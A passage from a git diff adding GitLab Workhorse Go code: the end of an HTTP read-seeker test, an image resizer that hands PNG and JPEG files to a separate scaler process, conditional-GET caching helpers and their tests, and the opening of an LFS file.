+ fw.tmp, err = ioutil.TempFile(os.TempDir(), "httprs")
+ if err != nil {
+ return nil, err
+ }
+ if f.downgradeZeroToNoRange {
+ // There are implementations that downgrades bytes=0- to a normal un-ranged GET
+ if r.Header.Get("Range") == "bytes=0-" {
+ r.Header.Del("Range")
+ }
+ }
+ http.ServeContent(fw, r, "temp.txt", time.Now(), f.src)
+
+ return fw.Response(), nil
+}
+
+const SZ = 4096
+
+const (
+ downgradeZeroToNoRange = 1 << iota
+ sendAcceptRanges
+)
+
+type RSFactory func() *HttpReadSeeker
+
+func newRSFactory(flags int) RSFactory {
+ return func() *HttpReadSeeker {
+ tmp, err := ioutil.TempFile(os.TempDir(), "httprs")
+ if err != nil {
+ return nil
+ }
+ for i := 0; i < SZ; i++ {
+ tmp.WriteString(fmt.Sprintf("%04d", i))
+ }
+
+ req, err := http.NewRequest("GET", "http://www.example.com", nil)
+ if err != nil {
+ return nil
+ }
+ res := &http.Response{
+ Request: req,
+ ContentLength: SZ * 4,
+ }
+
+ if flags&sendAcceptRanges > 0 {
+ res.Header = http.Header{"Accept-Ranges": []string{"bytes"}}
+ }
+
+ downgradeZeroToNoRange := (flags & downgradeZeroToNoRange) > 0
+ return NewHttpReadSeeker(res, &http.Client{Transport: &fakeRoundTripper{src: tmp, downgradeZeroToNoRange: downgradeZeroToNoRange}})
+ }
+}
+
+func TestHttpWebServer(t *testing.T) {
+ Convey("Scenario: testing WebServer", t, func() {
+ dir, err := ioutil.TempDir("", "webserver")
+ So(err, ShouldBeNil)
+ defer os.RemoveAll(dir)
+
+ err = ioutil.WriteFile(filepath.Join(dir, "file"), make([]byte, 10000), 0755)
+ So(err, ShouldBeNil)
+
+ server := httptest.NewServer(http.FileServer(http.Dir(dir)))
+
+ Convey("When requesting /file", func() {
+ res, err := http.Get(server.URL + "/file")
+ So(err, ShouldBeNil)
+
+ stream := NewHttpReadSeeker(res)
+ So(stream, ShouldNotBeNil)
+
+ Convey("Can read 100 bytes from start of file", func() {
+ n, err := stream.Read(make([]byte, 100))
+ So(err, ShouldBeNil)
+ So(n, ShouldEqual, 100)
+
+ Convey("When seeking 4KiB forward", func() {
+ pos, err := stream.Seek(4096, io.SeekCurrent)
+ So(err, ShouldBeNil)
+ So(pos, ShouldEqual, 4096+100)
+
+ Convey("Can read 100 bytes", func() {
+ n, err := stream.Read(make([]byte, 100))
+ So(err, ShouldBeNil)
+ So(n, ShouldEqual, 100)
+ })
+ })
+ })
+ })
+ })
+}
+
+func TestHttpReaderSeeker(t *testing.T) {
+ tests := []struct {
+ name string
+ newRS func() *HttpReadSeeker
+ }{
+ {name: "with no flags", newRS: newRSFactory(0)},
+ {name: "with only Accept-Ranges", newRS: newRSFactory(sendAcceptRanges)},
+ {name: "downgrade 0-range to no range", newRS: newRSFactory(downgradeZeroToNoRange)},
+ {name: "downgrade 0-range with Accept-Ranges", newRS: newRSFactory(downgradeZeroToNoRange | sendAcceptRanges)},
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ testHttpReaderSeeker(t, test.newRS)
+ })
+ }
+}
+
+func testHttpReaderSeeker(t *testing.T, newRS RSFactory) {
+ Convey("Scenario: testing HttpReaderSeeker", t, func() {
+
+ Convey("Read should start at the beginning", func() {
+ r := newRS()
+ So(r, ShouldNotBeNil)
+ defer r.Close()
+ buf := make([]byte, 4)
+ n, err := io.ReadFull(r, buf)
+ So(n, ShouldEqual, 4)
+ So(err, ShouldBeNil)
+ So(string(buf), ShouldEqual, "0000")
+ })
+
+ Convey("Seek w SEEK_SET should seek to right offset", func() {
+ r := newRS()
+ So(r, ShouldNotBeNil)
+ defer r.Close()
+ s, err := r.Seek(4*64, io.SeekStart)
+ So(s, ShouldEqual, 4*64)
+ So(err, ShouldBeNil)
+ buf := make([]byte, 4)
+ n, err := io.ReadFull(r, buf)
+ So(n, ShouldEqual, 4)
+ So(err, ShouldBeNil)
+ So(string(buf), ShouldEqual, "0064")
+ })
+
+ Convey("Read + Seek w SEEK_CUR should seek to right offset", func() {
+ r := newRS()
+ So(r, ShouldNotBeNil)
+ defer r.Close()
+ buf := make([]byte, 4)
+ io.ReadFull(r, buf)
+ s, err := r.Seek(4*64, os.SEEK_CUR)
+ So(s, ShouldEqual, 4*64+4)
+ So(err, ShouldBeNil)
+ n, err := io.ReadFull(r, buf)
+ So(n, ShouldEqual, 4)
+ So(err, ShouldBeNil)
+ So(string(buf), ShouldEqual, "0065")
+ })
+
+ Convey("Seek w SEEK_END should seek to right offset", func() {
+ r := newRS()
+ So(r, ShouldNotBeNil)
+ defer r.Close()
+ buf := make([]byte, 4)
+ io.ReadFull(r, buf)
+ s, err := r.Seek(4, os.SEEK_END)
+ So(s, ShouldEqual, SZ*4-4)
+ So(err, ShouldBeNil)
+ n, err := io.ReadFull(r, buf)
+ So(n, ShouldEqual, 4)
+ So(err, ShouldBeNil)
+ So(string(buf), ShouldEqual, fmt.Sprintf("%04d", SZ-1))
+ })
+
+ Convey("Short seek should consume existing request", func() {
+ r := newRS()
+ So(r, ShouldNotBeNil)
+ defer r.Close()
+ buf := make([]byte, 4)
+ So(r.Requests, ShouldEqual, 0)
+ io.ReadFull(r, buf)
+ So(r.Requests, ShouldEqual, 1)
+ s, err := r.Seek(shortSeekBytes, os.SEEK_CUR)
+ So(r.Requests, ShouldEqual, 1)
+ So(s, ShouldEqual, shortSeekBytes+4)
+ So(err, ShouldBeNil)
+ n, err := io.ReadFull(r, buf)
+ So(n, ShouldEqual, 4)
+ So(err, ShouldBeNil)
+ So(string(buf), ShouldEqual, "0257")
+ So(r.Requests, ShouldEqual, 1)
+ })
+
+ Convey("Long seek should do a new request", func() {
+ r := newRS()
+ So(r, ShouldNotBeNil)
+ defer r.Close()
+ buf := make([]byte, 4)
+ So(r.Requests, ShouldEqual, 0)
+ io.ReadFull(r, buf)
+ So(r.Requests, ShouldEqual, 1)
+ s, err := r.Seek(shortSeekBytes+1, os.SEEK_CUR)
+ So(r.Requests, ShouldEqual, 1)
+ So(s, ShouldEqual, shortSeekBytes+4+1)
+ So(err, ShouldBeNil)
+ n, err := io.ReadFull(r, buf)
+ So(n, ShouldEqual, 4)
+ So(err, ShouldBeNil)
+ So(string(buf), ShouldEqual, "2570")
+ So(r.Requests, ShouldEqual, 2)
+ })
+ })
+}
diff --git a/workhorse/internal/imageresizer/image_resizer.go b/workhorse/internal/imageresizer/image_resizer.go
new file mode 100644
index 00000000000..77318ed1c46
--- /dev/null
+++ b/workhorse/internal/imageresizer/image_resizer.go
@@ -0,0 +1,449 @@
+package imageresizer
+
+import (
+ "bufio"
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "net/http"
+ "os"
+ "os/exec"
+ "strconv"
+ "strings"
+ "sync/atomic"
+ "syscall"
+ "time"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/labkit/correlation"
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+ "gitlab.com/gitlab-org/labkit/tracing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type Resizer struct {
+ config.Config
+ senddata.Prefix
+ numScalerProcs processCounter
+}
+
+type resizeParams struct {
+ Location string
+ ContentType string
+ Width uint
+}
+
+type processCounter struct {
+ n int32
+}
+
+type resizeStatus = string
+
+type imageFile struct {
+ reader io.ReadCloser
+ contentLength int64
+ lastModified time.Time
+}
+
+// Carries information about how the scaler succeeded or failed.
+type resizeOutcome struct {
+ bytesWritten int64
+ originalFileSize int64
+ status resizeStatus
+ err error
+}
+
+const (
+ statusSuccess = "success" // a rescaled image was served
+ statusClientCache = "success-client-cache" // scaling was skipped because client cache was fresh
+ statusServedOriginal = "served-original" // scaling failed but the original image was served
+ statusRequestFailure = "request-failed" // no image was served
+ statusUnknown = "unknown" // indicates an unhandled status case
+)
+
+var envInjector = tracing.NewEnvInjector()
+
+// Images might be located remotely in object storage, in which case we need to stream
+// it via http(s)
+var httpTransport = tracing.NewRoundTripper(correlation.NewInstrumentedRoundTripper(&http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ DialContext: (&net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 10 * time.Second,
+ }).DialContext,
+ MaxIdleConns: 2,
+ IdleConnTimeout: 30 * time.Second,
+ TLSHandshakeTimeout: 10 * time.Second,
+ ExpectContinueTimeout: 10 * time.Second,
+ ResponseHeaderTimeout: 30 * time.Second,
+}))
+
+var httpClient = &http.Client{
+ Transport: httpTransport,
+}
+
+const (
+ namespace = "gitlab_workhorse"
+ subsystem = "image_resize"
+ logSystem = "imageresizer"
+)
+
+var (
+ imageResizeConcurrencyLimitExceeds = promauto.NewCounter(
+ prometheus.CounterOpts{
+ Namespace: namespace,
+ Subsystem: subsystem,
+ Name: "concurrency_limit_exceeds_total",
+ Help: "Amount of image resizing requests that exceeded the maximum allowed scaler processes",
+ },
+ )
+ imageResizeProcesses = promauto.NewGauge(
+ prometheus.GaugeOpts{
+ Namespace: namespace,
+ Subsystem: subsystem,
+ Name: "processes",
+ Help: "Amount of image scaler processes working now",
+ },
+ )
+ imageResizeMaxProcesses = promauto.NewGauge(
+ prometheus.GaugeOpts{
+ Namespace: namespace,
+ Subsystem: subsystem,
+ Name: "max_processes",
+ Help: "The maximum amount of image scaler processes allowed to run concurrently",
+ },
+ )
+ imageResizeRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Namespace: namespace,
+ Subsystem: subsystem,
+ Name: "requests_total",
+ Help: "Image resizing operations requested",
+ },
+ []string{"status"},
+ )
+ imageResizeDurations = promauto.NewHistogramVec(
+ prometheus.HistogramOpts{
+ Namespace: namespace,
+ Subsystem: subsystem,
+ Name: "duration_seconds",
+ Help: "Breakdown of total time spent serving successful image resizing requests (incl. data transfer)",
+ Buckets: []float64{
+ 0.025, /* 25ms */
+ 0.050, /* 50ms */
+ 0.1, /* 100ms */
+ 0.2, /* 200ms */
+ 0.4, /* 400ms */
+ 0.8, /* 800ms */
+ },
+ },
+ []string{"content_type", "width"},
+ )
+)
+
+const (
+ jpegMagic = "\xff\xd8" // 2 bytes
+ pngMagic = "\x89PNG\r\n\x1a\n" // 8 bytes
+ maxMagicLen = 8 // 8 first bytes is enough to detect PNG or JPEG
+)
+
+func NewResizer(cfg config.Config) *Resizer {
+ imageResizeMaxProcesses.Set(float64(cfg.ImageResizerConfig.MaxScalerProcs))
+
+ return &Resizer{Config: cfg, Prefix: "send-scaled-img:"}
+}
+
+// Inject forks into a dedicated scaler process to resize an image identified by path or URL
+// and streams the resized image back to the client
+func (r *Resizer) Inject(w http.ResponseWriter, req *http.Request, paramsData string) {
+ var outcome = resizeOutcome{status: statusUnknown, originalFileSize: 0, bytesWritten: 0}
+ start := time.Now()
+ params, err := r.unpackParameters(paramsData)
+
+ defer func() {
+ imageResizeRequests.WithLabelValues(outcome.status).Inc()
+ handleOutcome(w, req, start, params, &outcome)
+ }()
+
+ if err != nil {
+ // This means the response header coming from Rails was malformed; there is no way
+ // to sensibly recover from this other than failing fast
+ outcome.error(fmt.Errorf("read image resize params: %v", err))
+ return
+ }
+
+ imageFile, err := openSourceImage(params.Location)
+ if err != nil {
+ // This means we cannot even read the input image; fail fast.
+ outcome.error(fmt.Errorf("open image data stream: %v", err))
+ return
+ }
+ defer imageFile.reader.Close()
+
+ outcome.originalFileSize = imageFile.contentLength
+
+ setLastModified(w, imageFile.lastModified)
+ // If the original file has not changed, then any cached resized versions have not changed either.
+ if checkNotModified(req, imageFile.lastModified) {
+ writeNotModified(w)
+ outcome.ok(statusClientCache)
+ return
+ }
+
+ // We first attempt to rescale the image; if this should fail for any reason, imageReader
+ // will point to the original image, i.e. we render it unchanged.
+ imageReader, resizeCmd, err := r.tryResizeImage(req, imageFile, params, r.Config.ImageResizerConfig)
+ if err != nil {
+ // Something failed, but we can still write out the original image, so don't return early.
+ // We need to log this separately since the subsequent steps might add other failures.
+ helper.LogErrorWithFields(req, err, *logFields(start, params, &outcome))
+ }
+ defer helper.CleanUpProcessGroup(resizeCmd)
+
+ w.Header().Del("Content-Length")
+ outcome.bytesWritten, err = serveImage(imageReader, w, resizeCmd)
+
+ // We failed serving image data; this is a hard failure.
+ if err != nil {
+ outcome.error(err)
+ return
+ }
+
+ // This means we served the original image because rescaling failed; this is a soft failure
+ if resizeCmd == nil {
+ outcome.ok(statusServedOriginal)
+ return
+ }
+
+ widthLabelVal := strconv.Itoa(int(params.Width))
+ imageResizeDurations.WithLabelValues(params.ContentType, widthLabelVal).Observe(time.Since(start).Seconds())
+
+ outcome.ok(statusSuccess)
+}
+
+// Streams image data from the given reader to the given writer and returns the number of bytes written.
+func serveImage(r io.Reader, w io.Writer, resizeCmd *exec.Cmd) (int64, error) {
+ bytesWritten, err := io.Copy(w, r)
+ if err != nil {
+ return bytesWritten, err
+ }
+
+ if resizeCmd != nil {
+ // If a scaler process had been forked, wait for the command to finish.
+ if err = resizeCmd.Wait(); err != nil {
+ // err will be an ExitError; this is not useful beyond knowing the exit code since anything
+ // interesting has been written to stderr, so we turn that into an error we can return.
+ stdErr := resizeCmd.Stderr.(*strings.Builder)
+ return bytesWritten, fmt.Errorf(stdErr.String())
+ }
+ }
+
+ return bytesWritten, nil
+}
+
+func (r *Resizer) unpackParameters(paramsData string) (*resizeParams, error) {
+ var params resizeParams
+ if err := r.Unpack(&params, paramsData); err != nil {
+ return nil, err
+ }
+
+ if params.Location == "" {
+ return nil, fmt.Errorf("'Location' not set")
+ }
+
+ if params.ContentType == "" {
+ return nil, fmt.Errorf("'ContentType' must be set")
+ }
+
+ return &params, nil
+}
+
+// Attempts to rescale the given image data, or in case of errors, falls back to the original image.
+func (r *Resizer) tryResizeImage(req *http.Request, f *imageFile, params *resizeParams, cfg config.ImageResizerConfig) (io.Reader, *exec.Cmd, error) {
+ if f.contentLength > int64(cfg.MaxFilesize) {
+ return f.reader, nil, fmt.Errorf("%d bytes exceeds maximum file size of %d bytes", f.contentLength, cfg.MaxFilesize)
+ }
+
+ if f.contentLength < maxMagicLen {
+ return f.reader, nil, fmt.Errorf("file is too small to resize: %d bytes", f.contentLength)
+ }
+
+ if !r.numScalerProcs.tryIncrement(int32(cfg.MaxScalerProcs)) {
+ return f.reader, nil, fmt.Errorf("too many running scaler processes (%d / %d)", r.numScalerProcs.n, cfg.MaxScalerProcs)
+ }
+
+ ctx := req.Context()
+ go func() {
+ <-ctx.Done()
+ r.numScalerProcs.decrement()
+ }()
+
+ // Creating buffered Reader is required for us to Peek into first bytes of the image file to detect the format
+ // without advancing the reader (we need to read from the file start in the Scaler binary).
+ // We set `8` as the minimal buffer size by the length of PNG magic bytes sequence (JPEG needs only 2).
+ // In fact, `NewReaderSize` will immediately override it with `16` using its `minReadBufferSize` -
+ // here we are just being explicit about the buffer size required for our code to operate correctly.
+ // Having a reader with such tiny buffer will not hurt the performance during further operations,
+ // because Golang `bufio.Read` avoids double copy: https://golang.org/src/bufio/bufio.go?s=1768:1804#L212
+ buffered := bufio.NewReaderSize(f.reader, maxMagicLen)
+
+ headerBytes, err := buffered.Peek(maxMagicLen)
+ if err != nil {
+ return buffered, nil, fmt.Errorf("peek stream: %v", err)
+ }
+
+ // Check magic bytes to identify file type.
+ if string(headerBytes) != pngMagic && string(headerBytes[0:2]) != jpegMagic {
+ return buffered, nil, fmt.Errorf("unrecognized file signature: %v", headerBytes)
+ }
+
+ resizeCmd, resizedImageReader, err := startResizeImageCommand(ctx, buffered, params)
+ if err != nil {
+ return buffered, nil, fmt.Errorf("fork into scaler process: %w", err)
+ }
+ return resizedImageReader, resizeCmd, nil
+}
+
+func startResizeImageCommand(ctx context.Context, imageReader io.Reader, params *resizeParams) (*exec.Cmd, io.ReadCloser, error) {
+ cmd := exec.CommandContext(ctx, "gitlab-resize-image")
+ cmd.Stdin = imageReader
+ cmd.Stderr = &strings.Builder{}
+ cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+ cmd.Env = []string{
+ "GL_RESIZE_IMAGE_WIDTH=" + strconv.Itoa(int(params.Width)),
+ }
+ cmd.Env = envInjector(ctx, cmd.Env)
+
+ stdout, err := cmd.StdoutPipe()
+ if err != nil {
+ return nil, nil, err
+ }
+
+ if err := cmd.Start(); err != nil {
+ return nil, nil, err
+ }
+
+ return cmd, stdout, nil
+}
+
+func isURL(location string) bool {
+ return strings.HasPrefix(location, "http://") || strings.HasPrefix(location, "https://")
+}
+
+func openSourceImage(location string) (*imageFile, error) {
+ if isURL(location) {
+ return openFromURL(location)
+ }
+
+ return openFromFile(location)
+}
+
+func openFromURL(location string) (*imageFile, error) {
+ res, err := httpClient.Get(location)
+ if err != nil {
+ return nil, err
+ }
+
+ switch res.StatusCode {
+ case http.StatusOK, http.StatusNotModified:
+ // Extract headers for conditional GETs from response.
+ lastModified, err := http.ParseTime(res.Header.Get("Last-Modified"))
+ if err != nil {
+ // This is unlikely to happen, coming from an object storage provider.
+ lastModified = time.Now().UTC()
+ }
+ return &imageFile{res.Body, res.ContentLength, lastModified}, nil
+ default:
+ res.Body.Close()
+ return nil, fmt.Errorf("stream data from %q: %d %s", location, res.StatusCode, res.Status)
+ }
+}
+
+func openFromFile(location string) (*imageFile, error) {
+ file, err := os.Open(location)
+ if err != nil {
+ return nil, err
+ }
+
+ fi, err := file.Stat()
+ if err != nil {
+ file.Close()
+ return nil, err
+ }
+
+ return &imageFile{file, fi.Size(), fi.ModTime()}, nil
+}
+
+// Only allow more scaling requests if we haven't yet reached the maximum
+// allowed number of concurrent scaler processes
+func (c *processCounter) tryIncrement(maxScalerProcs int32) bool {
+ if p := atomic.AddInt32(&c.n, 1); p > maxScalerProcs {
+ c.decrement()
+ imageResizeConcurrencyLimitExceeds.Inc()
+
+ return false
+ }
+
+ imageResizeProcesses.Set(float64(c.n))
+ return true
+}
+
+func (c *processCounter) decrement() {
+ atomic.AddInt32(&c.n, -1)
+ imageResizeProcesses.Set(float64(c.n))
+}
+
+func (o *resizeOutcome) ok(status resizeStatus) {
+ o.status = status
+ o.err = nil
+}
+
+func (o *resizeOutcome) error(err error) {
+ o.status = statusRequestFailure
+ o.err = err
+}
+
+func logFields(startTime time.Time, params *resizeParams, outcome *resizeOutcome) *log.Fields {
+ var targetWidth, contentType string
+ if params != nil {
+ targetWidth = fmt.Sprint(params.Width)
+ contentType = fmt.Sprint(params.ContentType)
+ }
+ return &log.Fields{
+ "subsystem": logSystem,
+ "written_bytes": outcome.bytesWritten,
+ "duration_s": time.Since(startTime).Seconds(),
+ logSystem + ".status": outcome.status,
+ logSystem + ".target_width": targetWidth,
+ logSystem + ".content_type": contentType,
+ logSystem + ".original_filesize": outcome.originalFileSize,
+ }
+}
+
+func handleOutcome(w http.ResponseWriter, req *http.Request, startTime time.Time, params *resizeParams, outcome *resizeOutcome) {
+ logger := log.ContextLogger(req.Context())
+ fields := *logFields(startTime, params, outcome)
+
+ switch outcome.status {
+ case statusRequestFailure:
+ if outcome.bytesWritten <= 0 {
+ helper.Fail500WithFields(w, req, outcome.err, fields)
+ } else {
+ helper.LogErrorWithFields(req, outcome.err, fields)
+ }
+ default:
+ logger.WithFields(fields).WithFields(
+ log.Fields{
+ "method": req.Method,
+ "uri": mask.URL(req.RequestURI),
+ },
+ ).Printf(outcome.status)
+ }
+}
diff --git a/workhorse/internal/imageresizer/image_resizer_caching.go b/workhorse/internal/imageresizer/image_resizer_caching.go
new file mode 100644
index 00000000000..bbe0e3260d7
--- /dev/null
+++ b/workhorse/internal/imageresizer/image_resizer_caching.go
@@ -0,0 +1,44 @@
+// This file contains code derived from https://github.com/golang/go/blob/master/src/net/http/fs.go
+//
+// Copyright 2020 GitLab Inc. All rights reserved.
+// Copyright 2009 The Go Authors. All rights reserved.
+
+package imageresizer
+
+import (
+ "net/http"
+ "time"
+)
+
+func checkNotModified(r *http.Request, modtime time.Time) bool {
+ ims := r.Header.Get("If-Modified-Since")
+ if ims == "" || isZeroTime(modtime) {
+ // Treat bogus times as if there was no such header at all
+ return false
+ }
+ t, err := http.ParseTime(ims)
+ if err != nil {
+ return false
+ }
+ // The Last-Modified header truncates sub-second precision so
+ // the modtime needs to be truncated too.
+ return !modtime.Truncate(time.Second).After(t)
+}
+
+// isZeroTime reports whether t is obviously unspecified (either zero or Unix epoch time).
+func isZeroTime(t time.Time) bool {
+ return t.IsZero() || t.Equal(time.Unix(0, 0))
+}
+
+func setLastModified(w http.ResponseWriter, modtime time.Time) {
+ if !isZeroTime(modtime) {
+ w.Header().Set("Last-Modified", modtime.UTC().Format(http.TimeFormat))
+ }
+}
+
+func writeNotModified(w http.ResponseWriter) {
+ h := w.Header()
+ h.Del("Content-Type")
+ h.Del("Content-Length")
+ w.WriteHeader(http.StatusNotModified)
+}
diff --git a/workhorse/internal/imageresizer/image_resizer_test.go b/workhorse/internal/imageresizer/image_resizer_test.go
new file mode 100644
index 00000000000..bacc97738b8
--- /dev/null
+++ b/workhorse/internal/imageresizer/image_resizer_test.go
@@ -0,0 +1,259 @@
+package imageresizer
+
+import (
+ "encoding/base64"
+ "encoding/json"
+ "image"
+ "image/png"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+
+ _ "image/jpeg" // need this for image.Decode with JPEG
+)
+
+const imagePath = "../../testdata/image.png"
+
+func TestMain(m *testing.M) {
+ if err := testhelper.BuildExecutables(); err != nil {
+ log.WithError(err).Fatal()
+ }
+
+ os.Exit(m.Run())
+}
+
+func requestScaledImage(t *testing.T, httpHeaders http.Header, params resizeParams, cfg config.ImageResizerConfig) *http.Response {
+ httpRequest := httptest.NewRequest("GET", "/image", nil)
+ if httpHeaders != nil {
+ httpRequest.Header = httpHeaders
+ }
+ responseWriter := httptest.NewRecorder()
+ paramsJSON := encodeParams(t, &params)
+
+ NewResizer(config.Config{ImageResizerConfig: cfg}).Inject(responseWriter, httpRequest, paramsJSON)
+
+ return responseWriter.Result()
+}
+
+func TestRequestScaledImageFromPath(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+
+ testCases := []struct {
+ desc string
+ imagePath string
+ contentType string
+ }{
+ {
+ desc: "PNG",
+ imagePath: imagePath,
+ contentType: "image/png",
+ },
+ {
+ desc: "JPEG",
+ imagePath: "../../testdata/image.jpg",
+ contentType: "image/jpeg",
+ },
+ {
+ desc: "JPEG < 1kb",
+ imagePath: "../../testdata/image_single_pixel.jpg",
+ contentType: "image/jpeg",
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ params := resizeParams{Location: tc.imagePath, ContentType: tc.contentType, Width: 64}
+
+ resp := requestScaledImage(t, nil, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ bounds := imageFromResponse(t, resp).Bounds()
+ require.Equal(t, int(params.Width), bounds.Size().X, "wrong width after resizing")
+ })
+ }
+}
+
+func TestRequestScaledImageWithConditionalGetAndImageNotChanged(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+ params := resizeParams{Location: imagePath, ContentType: "image/png", Width: 64}
+
+ clientTime := testImageLastModified(t)
+ header := http.Header{}
+ header.Set("If-Modified-Since", httpTimeStr(clientTime))
+
+ resp := requestScaledImage(t, header, params, cfg)
+ require.Equal(t, http.StatusNotModified, resp.StatusCode)
+ require.Equal(t, httpTimeStr(testImageLastModified(t)), resp.Header.Get("Last-Modified"))
+ require.Empty(t, resp.Header.Get("Content-Type"))
+ require.Empty(t, resp.Header.Get("Content-Length"))
+}
+
+func TestRequestScaledImageWithConditionalGetAndImageChanged(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+ params := resizeParams{Location: imagePath, ContentType: "image/png", Width: 64}
+
+ clientTime := testImageLastModified(t).Add(-1 * time.Second)
+ header := http.Header{}
+ header.Set("If-Modified-Since", httpTimeStr(clientTime))
+
+ resp := requestScaledImage(t, header, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+ require.Equal(t, httpTimeStr(testImageLastModified(t)), resp.Header.Get("Last-Modified"))
+}
+
+func TestRequestScaledImageWithConditionalGetAndInvalidClientTime(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+ params := resizeParams{Location: imagePath, ContentType: "image/png", Width: 64}
+
+ header := http.Header{}
+ header.Set("If-Modified-Since", "0")
+
+ resp := requestScaledImage(t, header, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+ require.Equal(t, httpTimeStr(testImageLastModified(t)), resp.Header.Get("Last-Modified"))
+}
+
+func TestServeOriginalImageWhenSourceImageTooLarge(t *testing.T) {
+ originalImage := testImage(t)
+ cfg := config.ImageResizerConfig{MaxScalerProcs: 1, MaxFilesize: 1}
+ params := resizeParams{Location: imagePath, ContentType: "image/png", Width: 64}
+
+ resp := requestScaledImage(t, nil, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ img := imageFromResponse(t, resp)
+ require.Equal(t, originalImage.Bounds(), img.Bounds(), "expected original image size")
+}
+
+func TestFailFastOnOpenStreamFailure(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+ params := resizeParams{Location: "does_not_exist.png", ContentType: "image/png", Width: 64}
+ resp := requestScaledImage(t, nil, params, cfg)
+
+ require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
+}
+
+func TestIgnoreContentTypeMismatchIfImageFormatIsAllowed(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+ params := resizeParams{Location: imagePath, ContentType: "image/jpeg", Width: 64}
+ resp := requestScaledImage(t, nil, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ bounds := imageFromResponse(t, resp).Bounds()
+ require.Equal(t, int(params.Width), bounds.Size().X, "wrong width after resizing")
+}
+
+func TestUnpackParametersReturnsParamsInstanceForValidInput(t *testing.T) {
+ r := Resizer{}
+ inParams := resizeParams{Location: imagePath, Width: 64, ContentType: "image/png"}
+
+ outParams, err := r.unpackParameters(encodeParams(t, &inParams))
+
+ require.NoError(t, err, "unexpected error when unpacking params")
+ require.Equal(t, inParams, *outParams)
+}
+
+func TestUnpackParametersReturnsErrorWhenLocationBlank(t *testing.T) {
+ r := Resizer{}
+ inParams := resizeParams{Location: "", Width: 64, ContentType: "image/jpg"}
+
+ _, err := r.unpackParameters(encodeParams(t, &inParams))
+
+ require.Error(t, err, "expected error when Location is blank")
+}
+
+func TestUnpackParametersReturnsErrorWhenContentTypeBlank(t *testing.T) {
+ r := Resizer{}
+ inParams := resizeParams{Location: imagePath, Width: 64, ContentType: ""}
+
+ _, err := r.unpackParameters(encodeParams(t, &inParams))
+
+ require.Error(t, err, "expected error when ContentType is blank")
+}
+
+func TestServeOriginalImageWhenSourceImageFormatIsNotAllowed(t *testing.T) {
+ cfg := config.DefaultImageResizerConfig
+ // SVG images are not allowed to be resized
+ svgImagePath := "../../testdata/image.svg"
+ svgImage, err := ioutil.ReadFile(svgImagePath)
+ require.NoError(t, err)
+ // ContentType is no longer used to perform the format validation.
+ // To make the test more strict, we'll use allowed, but incorrect ContentType.
+ params := resizeParams{Location: svgImagePath, ContentType: "image/png", Width: 64}
+
+ resp := requestScaledImage(t, nil, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ responseData, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+ require.Equal(t, svgImage, responseData, "expected original image")
+}
+
+func TestServeOriginalImageWhenSourceImageIsTooSmall(t *testing.T) {
+ content := []byte("PNG") // 3 bytes only, invalid as PNG/JPEG image
+
+ img, err := ioutil.TempFile("", "*.png")
+ require.NoError(t, err)
+
+ defer img.Close()
+ defer os.Remove(img.Name())
+
+ _, err = img.Write(content)
+ require.NoError(t, err)
+
+ cfg := config.DefaultImageResizerConfig
+ params := resizeParams{Location: img.Name(), ContentType: "image/png", Width: 64}
+
+ resp := requestScaledImage(t, nil, params, cfg)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ responseData, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+ require.Equal(t, content, responseData, "expected original image")
+}
+
+// The Rails applications sends a Base64 encoded JSON string carrying
+// these parameters in an HTTP response header
+func encodeParams(t *testing.T, p *resizeParams) string {
+ json, err := json.Marshal(*p)
+ if err != nil {
+ require.NoError(t, err, "JSON encoder encountered unexpected error")
+ }
+ return base64.StdEncoding.EncodeToString(json)
+}
+
+func testImage(t *testing.T) image.Image {
+ f, err := os.Open(imagePath)
+ require.NoError(t, err)
+
+ image, err := png.Decode(f)
+ require.NoError(t, err, "decode original image")
+
+ return image
+}
+
+func testImageLastModified(t *testing.T) time.Time {
+ fi, err := os.Stat(imagePath)
+ require.NoError(t, err)
+
+ return fi.ModTime()
+}
+
+func imageFromResponse(t *testing.T, resp *http.Response) image.Image {
+ img, _, err := image.Decode(resp.Body)
+ require.NoError(t, err, "decode resized image")
+ return img
+}
+
+func httpTimeStr(time time.Time) string {
+ return time.UTC().Format(http.TimeFormat)
+}
diff --git a/workhorse/internal/lfs/lfs.go b/workhorse/internal/lfs/lfs.go
new file mode 100644
index 00000000000..ec48dc05ef9
--- /dev/null
+++ b/workhorse/internal/lfs/lfs.go
@@ -0,0 +1,55 @@
+/*
+In this file we handle git lfs objects downloads and uploads
+*/
+
+package lfs
+
